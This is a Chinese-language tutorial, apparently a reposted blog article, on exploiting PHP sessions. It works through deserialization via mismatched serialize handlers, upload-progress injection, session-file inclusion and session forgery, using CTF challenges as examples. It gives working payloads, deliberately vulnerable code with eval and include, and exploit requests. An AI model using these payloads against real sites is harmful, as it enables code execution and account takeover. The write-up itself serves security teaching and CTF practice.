1. 程式人生 > 實用技巧 >PHP session 常見利用點

PHP session 常見利用點

0x1PHP session 簡介

0x1.1基本概念

session 概念: 一般稱為會話控制。session物件儲存特定使用者會話所需的屬性及配置資訊。這樣,當用戶在應用程式的Web頁之間跳轉時,儲存在session物件中的變數將不會丟失,而是在整個使用者會話中一直存在下去。當用戶請求來自應用程式的Web頁時,如果該使用者還沒有會話,則Web伺服器將自動建立一個session物件。當會話過期或被放棄後,伺服器將終止該會話。

PHP session概念:PHP session是一個特殊的變數,用於儲存有關使用者會話的資訊,或更改使用者會話的設定。session變數儲存的資訊是單一使用者的,並且可供應用程式中的所有頁面使用。 它為每個訪問者建立一個唯一的id (UID)

,並基於這個UID來儲存變數。UID儲存在cookie中,亦或通過URL進行傳導。

0x1.2會話流程

當開始一個會話時,PHP會嘗試從請求中查詢會話ID(通常通過會話cookie), 如果請求中不包含會話ID資訊,PHP就會建立一個新的會話。 會話開始之後,PHP就會將會話中的資料設定到$_SESSION變數中。 當PHP停止的時候,它會自動讀取$_SESSION中的內容,並將其進行序列化, 然後傳送給會話儲存管理器來進行儲存。

預設情況下,PHP使用內建的檔案會話儲存管理器(files)來完成會話的儲存。 也可以通過配置項session.save_handler來修改所要採用的會話儲存管理器。 對於檔案會話儲存管理器,會將會話資料儲存到配置項session.save_path

所指定的位置。

可以通過呼叫函式session_start()來手動開始一個會話。 如果配置項session.auto_start設定為1, 那麼請求開始的時候,會話會自動開始。

PHP指令碼執行完畢之後,會話會自動關閉。 同時,也可以通過呼叫函式session_write_close()來手動關閉會話。

0x1.3常見配置

PHP的安裝目錄下面找到php.ini檔案,這個檔案主要的作用是對PHP進行一些配置

session.save_handler = files #session的儲存方式
session.save_path = "/var/lib/php/session" #session id存放路徑
session.use_cookies= 1 #使用cookies在客戶端儲存會話
session.use_only_cookies = 1 #去保護URL中傳送session id的使用者
session.name = PHPSESSID #session名稱(預設PHPSESSID)
session.auto_start = 0 #不啟用請求自動初始化session
session.use_trans_sid = 0  #如果客戶端禁用了cookie,可以通過設定session.use_trans_sid來使標識的互動方式從cookie變為url傳遞
session.cookie_lifetime = 0 #cookie存活時間(0為直至瀏覽器重啟,單位秒)
session.cookie_path = / #cookie的有效路徑
session.cookie_domain = #cookie的有效域名
session.cookie_httponly = #httponly標記增加到cookie上(指令碼語言無法抓取)
session.serialize_handler = php #PHP標準序列化
session.gc_maxlifetime =1440 #過期時間(預設24分鐘,單位秒)

0x1.4儲存引擎

PHP中的session中的內容預設是以檔案的方式來儲存的,儲存方式就是由配置項session.save_handler來進行確定的,預設是以檔案的方式儲存。
儲存的檔案是以sess_PHPSESSID來進行命名的,檔案的內容就是session值的序列話之後的內容。

session.serialize_handler是用來設定session的序列話引擎的,除了預設的PHP引擎之外,還存在其他引擎,不同的引擎所對應的session的儲存方式不相同。

session.serialize_handler有如下三種取值

儲存引擎儲存方式
php_binary 鍵名的長度對應的 ASCII 字元+鍵名+經過 serialize() 函式序列化處理的值
php 鍵名+豎線+經過 serialize() 函式序列處理的值
php_serialize (PHP>5.5.4) 經過 serialize() 函式序列化處理的陣列

PHP中預設使用的是PHP引擎,如果要修改為其他的引擎,只需要新增程式碼ini_set('session.serialize_handler', '需要設定的引擎'),示例程式碼如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

以如下程式碼為例,檢視不同儲存引擎儲存的結果

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');//這裡換不同的儲存引擎
session_start();
$_SESSION['username'] = $_GET['username'];
?>

php_binary

php

php_serialize

0x2PHP session 利用

0x2.1反序列化

當網站序列化儲存session與反序列化讀取session的方式不同時,就可能導致session反序列化漏洞的產生。 一般都是以php_serialize序列化儲存session, 以PHP反序列化讀取session,造成反序列化攻擊。

0x2.1.1 有$_SESSION賦值

例子
s1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];
?>

s2.php

<?php
session_start();
class session {
    var $var; 
    function __destruct() {
         eval($this->var);
    }
}
?>

s1.php 使用的是php_serialize儲存引擎,s2.php 使用的是php儲存引擎(頁面中沒有設定儲存引擎,預設使用的是php.inisession.serialize_handler設定的值,預設為php)

我們可以往 s1.php 傳入如下的引數

s1.php?u=|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}

此時使用的是php_seriallize儲存引擎來序列化,儲存的內容為

接著訪問s2.php,使用的是php儲存引擎來反序列化,結果

這是因為當使用php引擎的時候,php引擎會以 | 作為作為keyvalue的分隔符,那麼就會將a:1:{s:8:"username";s:47:"作為sessionkey,將O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}作為value,然後進行反序列化。

訪問s2.php為什麼會反序列化?這裡可以可以看看官方文件

那串value不符合"正常"的被反序列化的字串規則不會報錯嗎?這裡提到一個unserialize的特性,在執行unserialize的時候,如果字串前面滿足了可被反序列化的規則即後續的不規則字元會被忽略。

0x2.1.2 無$_SESSION賦值

上面的例子直接可以給$_SESSION賦值,那當代碼中不存在給$_SESSION賦值的時候,又該如何處理?
檢視官方文件,可知還存在 PHP 還存在一個upload_process機制,可以在$_SESSION中建立一個鍵值對,其中的值可以控制。

以 Jarvis OJ 平臺的 PHPINFO 題目為例
環境地址:http://web.jarvisoj.com:32784/

index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

存在 phpinfo.php 檔案,由此可知session.upload_progress.enabled為 On,session.serialize_handlerphp_serialize,與 index.php 頁面所用的 PHP 儲存引擎不同,存在反序列化攻擊。

session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESS,可以本地建立 form.html,一個向 index.php 提交 POST 請求的表單檔案,其中包括PHP_SESSION_UPLOAD_PROGRESS變數。

form.html

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

使用 bp 抓包,在PHP_SESSION_UPLOAD_PROGRESSvalue值123後面新增 | 和序列化的字串

檢視根目錄檔案

檢視根目錄路徑

讀取 flag

0x2.2檔案包含

利用條件: 存在檔案包含,session檔案的路徑已知,且檔案中的內容可控。
session檔案的路徑可從phpinfo中得知,

或者進行猜測

/var/lib/php/sessions/sess_PHPSESSIONID
/var/lib/php[\d]/sessions/sess_PHPSESSIONID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

例子1:
session.php

<?php
 session_start();
 $_SESSION["username"]=$_GET['s'];
?>

include.php

<?php
include $_GET['i'];
?>

往 session.php 傳入一句話,寫入session檔案中

session.php?s=<?php phpinfo(); ?>

cookiePHPSESSID值為k82hb2gbrj7daoncpogvlbrbcp,即session儲存的檔名為sess_k82hb2gbrj7daoncpogvlbrbcp,路徑可以猜測一下,這裡為/var/lib/php/sessions/

include.php 檔案包含session儲存檔案

/include.php?i=/var/lib/php/sessions/sess_k82hb2gbrj7daoncpogvlbrbcp

例子2:
XCTF2018-Final_bestphp
這裡就取其中的小部分程式碼
bestphp.php

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');


$func=isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);

if(isset($_GET['file'])){
    include $_GET['file'];
}

session_start();
$_SESSION['name']=$_POST['name'];
?>

這裡設定了open_basedir,限制了我們讀取檔案的範圍,這裡session檔案是儲存在/var/lib/php/session/下,不在讀取的範圍裡,這裡可以考慮修改一下session檔案儲存的位置。

session_start()函式從PHP7開始增加了options引數,會覆蓋 php.ini 中的配置。

利用session_start覆蓋 php.ini 檔案中的預設配置session.save_path的值,並寫入

http://192.168.1.101/bestphp.php/?function=session_start&save_path=/var/www/html
post: name=<?=phpinfo();?>


成功包含 session 檔案

其實這個操作也可以由session_save_path()函式來完成,但是這個函式傳入的引數是個字串,不適用於此題。

0x2.3使用者偽造

利用條件:知道所使用的PHP session儲存引擎,以及session檔案內容可控。

這裡就以2020虎符杯-babyupload 為例
index.php

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(../|..\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(../|..\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

這是一個存在上傳和下載檔案的功能的檔案,只有當$_SESSION['username'] ==='admin'才能獲取flag。 我們可以通過下載檢視session檔案所使用的儲存引擎,然後通過相同的儲存引擎偽造為admin,上傳session檔案 ,獲取flag

首先下載session檔案,檔名為sess_PHPSESSID

http://192.168.100.16/index.php

post:direction=download&filename=sess_qq7ucpov7ulvt1qsji3pueea2i


可知使用的是php_binary
內容為:

<0x08>usernames:5:"guest";

猜測我們只要上傳一個session檔案內容為:

<0x08>usernames:5:"admin";


發現如果不上傳attr引數,dir_path會直接拼接上傳的檔名+"_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

如果把上傳檔名設定為sess,並且不傳遞attr引數,就可以得到/var/babyctf/sess_XXXXXXXXX,這就可以當成session檔案。
hash_file()是根據檔案內容得到的hash
本地建立一個檔名為sess:

上傳 sess 檔案

計算 hash 值

檔名為sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,嘗試下載訪問,如下可知已經上傳成功。

現在就差 success.txt, 可以把attr引數設定為 success.txt

將 success.txt 變成一個目錄,從而繞過了限制。
然後將PHPSESSID修改為432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,就可以得到flag

0x3總結

這裡對 PHP session 常見的利用點進行一次彙總,當然肯定還有其他利用方式,等自己以後遇到再補充吧。

0x4參考

https://www.w3school.com.cn/php/php_sessions.asp
https://www.cnblogs.com/st-leslie/p/8016951.html
https://www.php.net/manual/zh/book.session.php
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://cloud.tencent.com/developer/article/1487037
https://zhuanlan.zhihu.com/p/90879209

轉 ye1s